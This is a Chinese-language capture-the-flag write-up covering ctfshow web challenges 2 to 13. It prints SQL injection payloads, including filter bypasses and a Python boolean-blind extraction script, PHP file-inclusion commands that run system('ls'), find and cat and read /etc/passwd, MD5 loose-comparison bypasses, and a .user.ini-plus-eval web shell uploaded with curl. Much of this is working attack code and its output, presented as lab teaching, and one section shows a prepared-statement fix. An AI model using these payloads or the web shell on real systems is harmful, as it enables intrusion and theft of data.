web2
一个sql注入,打开页面先试一下万能密码
admin' or 1=1#
- 这个Payload的目的是让SQL查询条件恒真,从而绕过验证。
直接进去了,注入点存在,我们依然手注查字段数,使用联合查询
username=ctfshow' order by 3 #
试到3就成功了,说明字段数是3,接下来寻找回显位(寻找123,哪个位置会会返回数据)
username=ctfshow' union select 1,2,3 #
发现1会返回数据,使用1去获取数据库名
username=ctfshow' union select 1, database(), 3 #
返回了web2,我们直接查找这个数据库的所有表
username=ctfshow' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema='web2' #
发现有user flag两个表,直接获取flag表的字段名
username=ctfshow' union select 1, group_concat(column_name), 3 from information_schema.columns where table_name='flag' #
发现有一个flag的字段,我们读取他的值
username=ctfshow' union select 1, flag, 3 from flag # 或 username=ctfshow' union select 1, group_concat(flag), 3 from flag #
flag就会回显
web3
给了一个php代码
<?php include($_GET['url']);?>
代码意思就是
$_GET['url']:获取网址中url这个参数的值include():将这个参数值当作文件路径,把该文件的内容包含进来并执行
你如果访问http://yoursite.com/page.php?url=header.php,那么服务器就会找到这个文件,把他包含到页面中
我们先执行ls,看一下有木有flag文件
?url=data://text/plain,<?php system('ls -la /');?>

发现没有,可能flag文件在这些文件里面,我们可以直接查询包含flag的文件
?url=data://text/plain,<?php system('find / -name "*flag*" 2>/dev/null');?>

发现有一个flag.sh的文件,可能是一个脚本,我们先读取一下
?url=data://text/plain,<?php system('/tmp/flag.sh');?>
发现这个脚本flag被插把入到了两个地方:
- 文件
/var/www/html/ctf_go_go_go中(替换了flag_here) - MySQL数据库的
web2数据库的flag表中
我们直接文件就有flag了
?url=data://text/plain,<?php system('cat /var/www/html/ctf_go_go_go');?>
web4
给了同样一段代码,我们执行ls,果然被过滤了
(其实这题直接枚举flag, ?url=../flag.txt 就能直接出flag)
不管以怎样的方式输入命令都会报错或者直接返回原页面,唯一可行的就是读取系统的目录
?url=/etc/passwd
我们可以想到利用日志注入,修改UA为命令,每次访问日志就会执行命令
我们可以抓包修改header再用蚁🗡连接,也可以直接使用curl命令远程注入更方便
web5
给了一段php代码,是一个代码审计,
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{
echo "where is flag?";
}
?>
依次解释
$v1=$_GET['v1'];
$v2=$_GET['v2'];
- 意思:从URL的GET参数中获取
v1和v2的值 - 例子:如果访问
?v1=abc&v2=123,那么$v1="abc",$v2="123"
if(isset($v1) && isset($v2)){
- 意思:检查
v1和v2两个参数是否都设置了(不为空) - 作用:确保用户提供了两个必要的参数
if(!ctype_alpha($v1)){
die("v1 error");
}
- 意思:检查
v1是否只包含字母字符 ctype_alpha():检测字符串是否只包含字母!:逻辑非运算符die():输出消息并终止程序- 要求:
v1必须是纯字母,如"abc",不能包含数字或特殊字符
if(!is_numeric($v2)){
die("v2 error");
}
- 意思:检查
v2是否为数字 is_numeric():检测变量是否为数字或数字字符串- 要求:
v2必须是数字,如"123"或"123.45"
if(md5($v1)==md5($v2)){
echo $flag;
}
- 意思:比较
v1和v2的MD5哈希值,如果相等就输出flag md5():计算字符串的MD5哈希值==:PHP的松散比较(类型转换比较)- 关键漏洞:这里使用
==而不是===,可以利用MD5碰撞绕过
我们可以使用以0e开头后跟数字的MD5哈希碰撞,因为PHP的松散比较会将0e开头的字符串当作科学计数法处理,都等于0。
QNKCDZO→ md5:0e830400451993494058024219903391240610708→ md5:0e462097431906509019562988736854
payload:?v1=QNKCDZO&v2=240610708
我们可以了解一下弱比较
二、弱类型比较(Loose Comparison)
1. 定义和特点
- 使用
==和!= - 类型转换:比较前会自动进行类型转换
- 隐式转换:PHP尝试将两边转换为相同类型后再比较
- 安全性:存在安全风险,容易产生意外结果
2. 类型转换规则
php
// 字符串与数字比较
"123" == 123; // true,字符串转数字
"123abc" == 123; // true,字符串"123abc"转数字为123
"abc" == 0; // true,非数字字符串转数字为0
// 布尔值比较
true == 1; // true,true转数字为1
false == 0; // true,false转数字为0
true == "1"; // true,字符串"1"转布尔为true
false == ""; // true,空字符串转布尔为false
// 科学计数法特殊案例
"0e123" == "0e456" // true,都被当作0
"0e123" == 0 // true,科学计数法0e123等于0
3. 经典弱比较漏洞案例
案例1:MD5碰撞
php
$hash1 = md5("240610708"); // "0e462097431906509019562988736854"
$hash2 = md5("QNKCDZO"); // "0e830400451993494058024219903391"
$hash1 == $hash2; // true,因为都以0e开头,被当作科学计数法的0
案例2:数字与字符串比较
php
"123" == 123; // true
"123abc" == 123; // true
"0123" == 123; // true,八进制转换
"0x123" == 291; // true,十六进制转换
案例3:数组比较
php
[] == false; // true,空数组转布尔为false
[0] == false; // false,非空数组转布尔为true
[0] == 0; // true
4. 弱比较的转换表
| 类型1 | 类型2 | 比较结果 | 转换规则 |
| 字符串"123" | 整数123 | true | 字符串转数字 |
| 字符串"abc" | 整数0 | true | 非数字字符串转0 |
| 布尔true | 整数1 | true | 布尔转数字 |
| 字符串"1" | 布尔true | true | 字符串转布尔 |
| 数组[] | 布尔false | true | 空数组转false |
| null | 整数0 | true | null转数字为0 |
字符串到数字转换
// 规则1:如果字符串以合法数字开头,取开头数字部分
"123abc" → 123
"3.14hello" → 3.14
// 规则2:科学计数法转换
"1e3" → 1000
"2.5e2" → 250
"0e123" → 0 // 关键点!
// 规则3:非数字开头字符串转为0
"abc123" → 0
"hello" → 0
所以这个题原理大概是
"0e830400451993494058024219903391" == "0e462097431906509019562988736854"
// ↓ PHP的类型转换
0^830400451993494058024219903391 == 0^462097431906509019562988736854
// ↓ 数学计算
0 == 0
// ↓ 结果
true
web6
依然是一个sql,我们输入万能密码 'or 1=1# ,报错了,过滤了其中的东西,我们依次测试,发现输入'空格就会报错,'就不会,明显过滤了空格,可以使用注释符来代替空格
'or/**/1=1#
查字段数
'or/**/1=1/**/order/**/by/**/3#
字段数为3,查回显位
'union/**/select/**/1,2,3#
回显位为2,后面和web2大差不差了
web7
打开页面,给了个文章列表

发现不同文章,上面的id传参不同,估计是数值型sql注入,空格被过滤,同上题一样注释符代替,先查回显
使用 ?id=1/**/union/**/select/**/1,2,3#
回显为3
使用 ?id=3/**/union/**/select/**/1,database(),3#
得到库名为web7,列表名
使用 ?id=3/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="web7"),3#
得到三个表flag,page,user,查询得到flag字段
使用 ?id=3/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3#
查询flag字段
使用 ?id=3/**/union/**/select/**/1,(select/**/flag/**/from/**/flag/**/limit/**/0,1),3#
web8
发现还是同上题一样还是数值型注入,但是测试过滤了空格,and,union,逗号,联合查询也被过滤我们考虑布尔盲注
对应的绕过方法如下:
| 被过滤项 | 绕过方法 |
| 空格 | 使用注释 /**/ 或括号 () 绕过 |
| 逗号 | 对于 substr(database(),1,1) 这类函数,可使用 substr(database() from 1 for 1) 语法替代 |
and | 使用 or 进行替代 |
union | 因 union 被过滤,无法使用联合查询,推荐使用布尔盲注 |
先查数据库长度
使用 ?id=0/**/or/**/length(database())=4#
长度为4,直接依次爆破表,字段内容
import requests
url='http://3266af28-dff6-4a94-ad0f-33a4197a7533.challenge.ctf.show/index.php?id=-1'
payload1=url+"/**/or/**/ascii(substr(database()/**/from/**/{}/**/for/**/1))={}"
payload2=url+"/**/or/**/ascii(substr((select(table_name)from/**/information_schema.tables/**/where/**/table_schema=\"web8\"limit/**/1/**/offset/**/0)from/**/{}/**/for/**/1))={}"
payload3=url+"/**/or/**/ascii(substr((select(column_name)from/**/information_schema.columns/**/where/**/table_name=\"flag\"limit/**/1/**/offset/**/0)from/**/{}/**/for/**/1))={}"
payload=url+"/**/or/**/ascii(substr((select(flag)from/**/flag/**/limit/**/1/**/offset/**/0)from/**/{}/**/for/**/1))={}"
flag=''
str='1234567890abcdefghijklmnopqrstuvwxyz-{}'
for i in range(200):
for j in str:
res=requests.get(payload.format(i,ord(j)))
# print(payload2.format(i,j))
if('If' in res.text):
flag=flag+j
print(flag)
if(j=='}'):
break
会一个字符一个字符爆破完整flag
web9
打开是一个登录页面,万能密码没用,我们直接扫描一下后台发现有index.phps文件,下载过后是一段php代码
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>
审计一下,password长度只要大于10就会报错,并且构造了一个sql,username是admin,但是password的哈希必须和数据库里admin的哈希匹配,并且
一般我们见到的写法是:
md5($password) // 返回 "5f4dcc3b5aa765d61d8327deb882cf99" 这样的 32 字符串
而这个的代码是:
md5($password, true) // 返回 16 字节二进制
这样他会直接把这个返回拼进sql里,如果出现‘就会直接截断sql语句,原本是精确匹配,现在我们可以通过这个MD5去改掉这个sql,比如改成or1=1永真,这时候无论密码什么都能成功,给出具体转换
md5('ffifdyop') // 十六进制字符串
=> "276f722736c95d99e921722cf9ed621c"
md5('ffifdyop', true) // 二进制
=> b"'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c"
这样过后sql语句就变成了
SELECT * FROM user
WHERE username = 'admin'
AND password = ''or'6É]™é!r,ùíb'
后面的乱码是一个非空字符串mysql会解析成true,所以这时就永真了,密码输入ffifdyop
web10
打开仍是一个登录界面,点击取消就能获得php代码
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
审计代码意思
- 把
username/password分别丢进replaceSpecialChar: - 会去掉:
select|from|where|join|sleep|and|空白符|union|, - 如果过滤前后长度不一样,认为你“有注入”,直接
die("sql inject error")。 - 构造 SQL:
select * from user where username = '$username'
- 查出来所有满足
username条件的行,然后在 PHP 里判断:
if ($password == $row['password']) {
// 登陆成功,输出 flag
}
过滤了很多东西,但是or和’都没有被过滤,显然我们还能构造a'OR'1'='1使其永真,语句会变成这样
select * from user where username = 'a'OR'1'='1'
但是这只会返回其他表,不再需要精确匹配,我们再输入拿到的password就行了,ok没有返回,但是我们又需要password,但是password又没参与sql的构造,emm经过我们搜索发现了一个进阶的技巧, GROUP BY + ROLLUP ,给出payload
username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
/**/ 在 MySQL 里是注释,相当于空白,所以解析后大致等价于:
SELECT * FROM user
WHERE username = 'admin' OR 1=1
GROUP BY password WITH ROLLUP
# ' -- 后面的单引号被注释掉
效果:
OR 1=1:把条件变成恒真,直接查整个表;GROUP BY password WITH ROLLUP:按password分组,并且在最后加一个汇总行(ROLLUP 行)。
所以 $result 里面是:
- 每种
password一行(分组后的行); - 再多一行 ROLLUP 行,其中分组列
password为NULL。
这时遍历到那条 ROLLUP 行时:
$password // ""(你提交的空密码)
$row['password'] // NULL(ROLLUP 行里分组列为 NULL)
if ("" == NULL) // 条件成立
此时密码为空就是正确password了,但我们并不是改变了sql修改了password的条件,而是本来username注入后后应该返回一些正确的password,但是题目并没返回,我们使其返回了一个空的password,此时就有了为空的正确password,可以比喻为
- “不只给我真实用户卡片,你再帮我生成一张‘虚假的汇总卡片’,这张卡片上 password 字段留空(NULL)。”
- 然后你又用 PHP 自带的宽松比较漏洞:
“在 PHP 的眼里:用户输入的空密码 "" 和卡片上的 NULL 是一样的(== true)。”
- 于是程序看到这张“汇总卡片”,以为这是某个用户的真实密码匹配了,就放你进去了。
我们详细了解一下这个技巧
GROUP BY 是什么? 有什么用?
group by理解为按某些字段,把行分组,然后对每一组做统计/汇总
1.1 基本语法结构
典型写法:
SELECT dept, COUNT(*) AS cnt
FROM employees
GROUP BY dept;
含义:
GROUP BY dept:把表里的行,按照dept字段分成一堆“桶”(组);- 每个组里都是这个部门的员工;
COUNT(*)统计每个组里有几行→也就是每个部门有几个人;- 最终一条组对应一行结果。
1.2 没有 GROUP BY 时,聚合是“全表一组”
SELECT COUNT(*) FROM employees;
- 这个时候,没有
GROUP BY,整个表就是一个组; COUNT(*)返回的是“表中总行数”。
有了 GROUP BY,就是“按某一列或多列划分成很多组,每组分别做 COUNT/SUM/AVG 等”。
1.3 常见的聚合函数
和 GROUP BY 形影不离的,就是这些 聚合函数(Aggregate Functions):
COUNT(*):统计行数SUM(col):求某列和AVG(col):求平均值MIN(col)/MAX(col):最小 / 最大- MySQL 特有的:
GROUP_CONCAT(col):把同一组里的值拼接成一个字符串
二、GROUP BY 的执行逻辑
可以用一个“脑补过程”理解数据库在干嘛:
- 先根据
FROM/WHERE筛选出目标行; - 把这些行按照
GROUP BY指定的列,分到不同的“组”里; - 对每一个组:
- 把组内的行交给聚合函数(COUNT/SUM/AVG 等);
- 得出一个“汇总结果”;
- 每一组输出一行。
注意:
SELECT里出现的列,如果不是聚合函数,就必须出现在GROUP BY中(SQL 标准要求;MySQL 一度比较宽松,但现在也大多要收紧)。HAVING是对“分组之后”的结果进行过滤,而WHERE是对“分组之前”的行过滤。
例如:
SELECT dept, COUNT(*) AS cnt
FROM employees
GROUP BY dept
HAVING COUNT(*) > 10;
含义:只保留那些“数量 > 10”的部门。
三、ROLLUP 是什么?
到了重点:ROLLUP 本质上是一个“在 GROUP BY 的结果基础上,自动帮你加小计/总计行的功能”。
MySQL 的写法有两种常见形式:
sql
复制编辑
GROUP BY col1, col2 WITH ROLLUP
-- 或
GROUP BY ROLLUP(col1, col2) -- 在 MySQL 8.0 / 标准 SQL 中
3.1 普通 GROUP BY 和 ROLLUP 的对比
假设有一个销售表 sales:
region | month | amount
-------+-------+--------
East | Jan | 100
East | Feb | 200
West | Jan | 150
West | Feb | 250
普通 GROUP BY:
SELECT region, month, SUM(amount) AS total
FROM sales
GROUP BY region, month;
结果:
region | month | total
-------+-------+------
East | Jan | 100
East | Feb | 200
West | Jan | 150
West | Feb | 250
就是“region + month”这一对做分组,每一对一行。
加上 WITH ROLLUP:
SELECT region, month, SUM(amount) AS total
FROM sales
GROUP BY region, month WITH ROLLUP;
结果会多出几行:
region | month | total
-------+-------+------
East | Jan | 100
East | Feb | 200
East | NULL | 300 -- East 的小计(100 + 200)
West | Jan | 150
West | Feb | 250
West | NULL | 400 -- West 的小计(150 + 250)
NULL | NULL | 700 -- 全表总计(所有 amount 之和)
关键现象:
- 对
GROUP BY region, month WITH ROLLUP:
- 先按 (region, month) 分组——普通结果部分;
- 每个 region 聚合出一个 “region + NULL” 行(小计);
- 最后整体一个 “NULL + NULL” 行(全表汇总)。
总子我的理解就是with rollup会产生一个为null的行,这种技术跳出了题目之外,但是我们依然可以进行更严格的防护,
// 1. 取输入并做基本处理
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
// 可选:去掉首尾空格
$username = trim($username);
$password = trim($password);
// 2. 使用预处理语句,禁止自己拼接
$stmt = $con->prepare('SELECT password FROM user WHERE username = ? LIMIT 1');
if (!$stmt) {
// 这里可以记录日志,给用户返回一个通用错误
die('Server error');
}
$stmt->bind_param('s', $username); // s = string
$stmt->execute();
$result = $stmt->get_result();
if ($row = $result->fetch_assoc()) {
// 下面再做密码校验
} else {
// 用户名不存在
echo '用户名或密码错误';
}
- 用户名不会被当作 SQL 代码执行,
GROUP BY/WITH ROLLUP/ 注释都只会当作普通字符串; - 多半数注入 payload,直接在数据库里变成 find username = "xxx" 失败,不再能改语句结构
web11
仍然是一段php代码
<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>
过滤了一大堆东西,但是这个题根本就没有sql注入的地方,数据不会传入数据库,不过是误导你罢了,看到后面,发现只能输入password与session的password匹配,我们先抓包看下seesion有没

题目自己给了个123456,但是肯定是不正确的,看到cookie有个phpsessid,session的password存储在本地,我们直接把cookie删了,没有session找不到正确密码,再传个空密码,就是空=null了,刚好题目是松散比较,这时为真

web12
啥都没有,查看源代码发现有个用cmd传参的提示

我们通过cmd直接执行命令先试一下system() / exec() / eval()发现没有返回,应该是被过滤了
发现用?cmd=phpinfo();查询参数有返回这样可以执行命令了,
常见的php函数
1. 列目录 / 找文件名
scandir($path)
返回一个数组,里面是目录下的文件名和目录名。
print_r(scandir('.')); // 列出当前目录
print_r(scandir('..')); // 列出上一级目录
opendir()+readdir()+closedir()
手动遍历目录:
$dh = opendir('.');
while (($file = readdir($dh)) !== false) {
echo $file . "\n";
}
closedir($dh);
glob($pattern)
按通配符查匹配的文件名:
print_r(glob('*.php')); // 当前目录下所有 php 文件
print_r(glob('../*flag*')); // 上级目录下名字里带 flag 的文件
2. 读取文件内容
file_get_contents($filename)
直接一次性读出文件内容,返回字符串:
echo file_get_contents('somefile.txt');
readfile($filename)
直接把文件内容输出(echo)出来,返回字节数:
readfile('somefile.txt');
highlight_file($filename)/show_source()
高亮输出 PHP 源码(经常用来偷源码):
highlight_file('index.php');
show_source('config.php');
3. 获取路径信息
getcwd()
获取当前工作目录:
echo getcwd();
__FILE__/__DIR__
当前脚本的完整路径 / 目录:
echo __FILE__;
echo __DIR__;
realpath($path)
把路径规范化(../拼完之后的真实路径):
echo realpath('../flag');
回到题中
执行这个命令检查目录
?cmd=print_r(scandir('./'));
看到目录下有一个文件

可以
?cmd=highlight_file('index.php');
查看源代码,发现把传入的cmd直接被放进了eval函数,但是我们直接读取上面文件里源码就行
?cmd=show_source('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
web13
打开是一个文件上传,不知道过滤规则,先用dieseach扫一下后台
dirsearch -u "https://1093cfd7-d8b8-4c7d-b53c-672f74fdd16f.challenge.ctf.show/" -e php,html,txt,bak,old,json -t 50
得到php文件

是上传的入口,尝试一下压缩文件获取,例如rar .zip .7z .tar.gz .bak .txt .old .temp,用bak找到源码
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
- 文件大小 ≤ 24 bytes
- 文件名长度 ≤ 9 字符
- 后缀长度 ≤ 3 字符
- 禁止后缀包含
php - 禁止文件名包含
php
尝试使用了一些phpr文件后缀,以及使用 .htaccess 结合 .jpg 文件,都不行,查找资料发现一种文件包含的方式来绕过使用.user.ini文件自动包含的功能,注意文件前面的.不能省略
测试txt文件能够成功上传,使用curl上传
# 创建文件
echo '<?=eval($_POST[a]);' > a.txt
echo 'auto_prepend_file=a' > .user.ini
# 查看所有文件
curl -k -X POST \
"https://1093cfd7-d8b8-4c7d-b53c-672f74fdd16f.challenge.ctf.show/upload.php" \
-d "a=print_r(glob('*'));"
读取的一堆乱码的文件,直接读取,直接使用highlight高亮语法来显示
curl -k -X POST \
"https://1093cfd7-d8b8-4c7d-b53c-672f74fdd16f.challenge.ctf.show/upload.php" \
-d "a=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');"

Comments 1 条评论
👍